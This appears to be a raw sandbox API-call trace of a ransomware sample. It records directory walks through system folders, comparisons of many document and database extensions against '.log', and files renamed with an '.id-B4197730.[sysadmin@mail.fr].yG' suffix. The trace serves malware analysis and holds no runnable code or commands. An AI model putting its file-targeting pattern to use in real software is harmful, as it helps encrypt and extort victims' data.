	[0040.839] lstrlenW (lpString=".dbf") returned 4
	[0040.839] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1
	[0040.839] lstrlenW (lpString=".dbx") returned 4
	[0040.839] lstrcmpiW (lpString1=".dbx", lpString2=".log") returned -1
	[0040.839] lstrlenW (lpString=".dc3") returned 4
	[0040.839] lstrcmpiW (lpString1=".dc3", lpString2=".log") returned -1
	[0040.839] lstrlenW (lpString=".dcm") returned 4
	[0040.839] lstrcmpiW (lpString1=".dcm", lpString2=".log") returned -1
	[0040.839] lstrlenW (lpString=".dcr") returned 4
	[0040.839] lstrcmpiW (lpString1=".dcr", lpString2=".log") returned -1
	[0040.839] lstrlenW (lpString=".der") returned 4
	[0040.839] lstrcmpiW (lpString1=".der", lpString2=".log") returned -1
	[0040.839] lstrlenW (lpString=".dib") returned 4
	[0040.839] lstrcmpiW (lpString1=".dib", lpString2=".log") returned -1
	[0040.839] lstrlenW (lpString=".dic") returned 4
	[0040.839] lstrcmpiW (lpString1=".dic", lpString2=".log") returned -1
	[0040.839] lstrlenW (lpString=".dif") returned 4
	[0040.839] lstrcmpiW (lpString1=".dif", lpString2=".log") returned -1
	[0040.839] lstrlenW (lpString=".divx") returned 5
	[0040.839] lstrcmpiW (lpString1=".divx", lpString2="7.log") returned -1
	[0040.839] lstrlenW (lpString=".djvu") returned 5
	[0040.839] lstrcmpiW (lpString1=".djvu", lpString2="7.log") returned -1
	[0040.839] lstrlenW (lpString=".dng") returned 4
	[0040.839] lstrcmpiW (lpString1=".dng", lpString2=".log") returned -1
	[0040.839] lstrlenW (lpString=".doc") returned 4
	[0040.839] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1
	[0040.839] lstrlenW (lpString=".docm") returned 5
	[0040.839] lstrcmpiW (lpString1=".docm", lpString2="7.log") returned -1
	[0040.839] lstrlenW (lpString=".docx") returned 5
	[0040.839] lstrcmpiW (lpString1=".docx", lpString2="7.log") returned -1
	[0040.839] lstrlenW (lpString=".dot") returned 4
	[0040.839] lstrcmpiW (lpString1=".dot", lpString2=".log") returned -1
	[0040.839] lstrlenW (lpString=".dotm") returned 5
	[0040.839] lstrcmpiW (lpString1=".dotm", lpString2="7.log") returned -1
	[0040.839] lstrlenW (lpString=".dotx") returned 5
	[0040.839] lstrcmpiW (lpString1=".dotx", lpString2="7.log") returned -1
	[0040.839] lstrlenW (lpString=".dpx") returned 4
	[0040.840] lstrcmpiW (lpString1=".dpx", lpString2=".log") returned -1
	[0040.840] lstrlenW (lpString=".dqy") returned 4
	[0040.840] lstrcmpiW (lpString1=".dqy", lpString2=".log") returned -1
	[0040.840] lstrlenW (lpString=".dsn") returned 4
	[0040.840] lstrcmpiW (lpString1=".dsn", lpString2=".log") returned -1
	[0040.840] lstrlenW (lpString=".dt") returned 3
	[0040.840] lstrcmpiW (lpString1=".dt", lpString2="log") returned -1
	[0040.840] lstrlenW (lpString=".dtd") returned 4
	[0040.840] lstrcmpiW (lpString1=".dtd", lpString2=".log") returned -1
	[0040.840] lstrlenW (lpString=".dwg") returned 4
	[0040.840] lstrcmpiW (lpString1=".dwg", lpString2=".log") returned -1
	[0040.840] FindNextFileW (in: hFindFile=0x742db0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97e232ed, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x97e232ed, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x97e232ed, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="oobe_2017_09_07_03_08_57_737.log.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="OOBE_2~1.YG")) returned 1
	[0040.840] FindNextFileW (in: hFindFile=0x742db0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c5a0a89, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x9c5a0a89, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xbb3747bd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log", cAlternateFileName="PARTNE~1.LOG")) returned 1
	[0040.840] FindNextFileW (in: hFindFile=0x742db0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97dd6e55, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x97dd6e55, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x97dd6e55, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="PARTNE~1.YG")) returned 1
	[0040.840] FindNextFileW (in: hFindFile=0x742db0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97dd6e55, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x97dd6e55, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x97dd6e55, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="PARTNE~1.YG")) returned 0
	[0040.840] FindClose (in: hFindFile=0x742db0 | out: hFindFile=0x742db0) returned 1
	[0040.840] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0040.999] FindNextFileW (in: hFindFile=0x742c70, lpFindFileData=0x34efa7c | out: lpFindFileData=0x34efa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 1
	[0040.999] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x4290050
	[0040.999] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\*", lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x97db0c40, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7432b0
	[0040.999] FindNextFileW (in: hFindFile=0x7432b0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x97db0c40, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0041.000] FindNextFileW (in: hFindFile=0x7432b0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9568f13f, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x9568f13f, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0xfb529700, ftLastWriteTime.dwHighDateTime=0x1d2fc76, nFileSizeHigh=0x0, nFileSizeLow=0x232c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentOOBE.dll", cAlternateFileName="GETCUR~1.DLL")) returned 1
	[0041.000] FindNextFileW (in: hFindFile=0x7432b0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97db0c40, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x97db0c40, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x97db0c40, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentRollback.ini.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="GETCUR~1.YG")) returned 1
	[0041.000] FindNextFileW (in: hFindFile=0x7432b0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x54acc791, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0x54acc791, ftLastWriteTime.dwHighDateTime=0x1d3273a, nFileSizeHigh=0x0, nFileSizeLow=0x241, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupComplete.cmd", cAlternateFileName="PARTNE~1.CMD")) returned 1
	[0041.000] FindNextFileW (in: hFindFile=0x7432b0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9575af11, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9577d1ec, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="preoobe.cmd", cAlternateFileName="")) returned 1
	[0041.000] FindNextFileW (in: hFindFile=0x7432b0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957833a7, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x957833a7, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9578472e, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x133, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd", cAlternateFileName="SETUPC~1.CMD")) returned 1
	[0041.001] FindNextFileW (in: hFindFile=0x7432b0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x957833a7, ftCreationTime.dwHighDateTime=0x1d3273b, ftLastAccessTime.dwLowDateTime=0x957833a7, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x9578472e, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x133, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd", cAlternateFileName="SETUPC~1.CMD")) returned 0
	[0041.001] FindClose (in: hFindFile=0x7432b0 | out: hFindFile=0x7432b0) returned 1
	[0041.001] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0041.001] FindNextFileW (in: hFindFile=0x742c70, lpFindFileData=0x34efa7c | out: lpFindFileData=0x34efa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 0
	[0041.001] FindClose (in: hFindFile=0x742c70 | out: hFindFile=0x742c70) returned 1
	[0041.001] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0041.001] FindNextFileW (in: hFindFile=0x742d30, lpFindFileData=0x34efcf8 | out: lpFindFileData=0x34efcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77bb0000, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 1
	[0041.002] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x4290050
	[0041.002] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x34efa7c | out: lpFindFileData=0x34efa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x742ff0
	[0041.002] FindNextFileW (in: hFindFile=0x742ff0, lpFindFileData=0x34efa7c | out: lpFindFileData=0x34efa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1
	[0041.002] FindNextFileW (in: hFindFile=0x742ff0, lpFindFileData=0x34efa7c | out: lpFindFileData=0x34efa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-18", cAlternateFileName="")) returned 1
	[0041.002] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x42a0058
	[0041.002] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\*", lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x742f70
	[0041.002] FindNextFileW (in: hFindFile=0x742f70, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0041.002] FindNextFileW (in: hFindFile=0x742f70, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0041.002] FindNextFileW (in: hFindFile=0x742f70, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0
	[0041.002] FindClose (in: hFindFile=0x742f70 | out: hFindFile=0x742f70) returned 1
	[0041.003] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0041.003] FindNextFileW (in: hFindFile=0x742ff0, lpFindFileData=0x34efa7c | out: lpFindFileData=0x34efa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 1
	[0041.003] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x42a0058
	[0041.003] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\*", lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x742eb0
	[0041.003] FindNextFileW (in: hFindFile=0x742eb0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0041.003] FindNextFileW (in: hFindFile=0x742eb0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcb9438a8, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xcb9438a8, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0041.003] FindNextFileW (in: hFindFile=0x742eb0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcb9438a8, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xcb9438a8, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0
	[0041.003] FindClose (in: hFindFile=0x742eb0 | out: hFindFile=0x742eb0) returned 1
	[0041.003] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0041.003] FindNextFileW (in: hFindFile=0x742ff0, lpFindFileData=0x34efa7c | out: lpFindFileData=0x34efa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 0
	[0041.003] FindClose (in: hFindFile=0x742ff0 | out: hFindFile=0x742ff0) returned 1
	[0041.004] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0041.004] FindNextFileW (in: hFindFile=0x742d30, lpFindFileData=0x34efcf8 | out: lpFindFileData=0x34efcf8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x85776261, ftCreationTime.dwHighDateTime=0x1d3276f, ftLastAccessTime.dwLowDateTime=0x85776261, ftLastAccessTime.dwHighDateTime=0x1d3276f, ftLastWriteTime.dwLowDateTime=0x85776261, ftLastWriteTime.dwHighDateTime=0x1d3276f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77bb0000, dwReserved1=0x0, cFileName="$WINRE_BACKUP_PARTITION.MARKER", cAlternateFileName="$WINRE~1.MAR")) returned 1
	[0041.004] FindNextFileW (in: hFindFile=0x742d30, lpFindFileData=0x34efcf8 | out: lpFindFileData=0x34efcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77bb0000, dwReserved1=0x0, cFileName="588bce7c90097ed212", cAlternateFileName="588BCE~1")) returned 1
	[0041.005] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x4290050
	[0041.006] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\*", lpFindFileData=0x34efa7c | out: lpFindFileData=0x34efa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x742db0
	[0041.238] FindNextFileW (in: hFindFile=0x742db0, lpFindFileData=0x34efa7c | out: lpFindFileData=0x34efa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1
	[0041.374] FindNextFileW (in: hFindFile=0x742db0, lpFindFileData=0x34efa7c | out: lpFindFileData=0x34efa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1025", cAlternateFileName="")) returned 1
	[0041.374] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0xfffe) returned 0x42b0060
	[0041.374] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\*", lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7431b0
	[0041.375] FindNextFileW (in: hFindFile=0x7431b0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0041.375] FindNextFileW (in: hFindFile=0x7431b0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x1d8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0041.375] FindNextFileW (in: hFindFile=0x7431b0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x121e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0041.375] FindNextFileW (in: hFindFile=0x7431b0, lpFindFileData=0x34ef800 | out: lpFindFileData=0x34ef800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
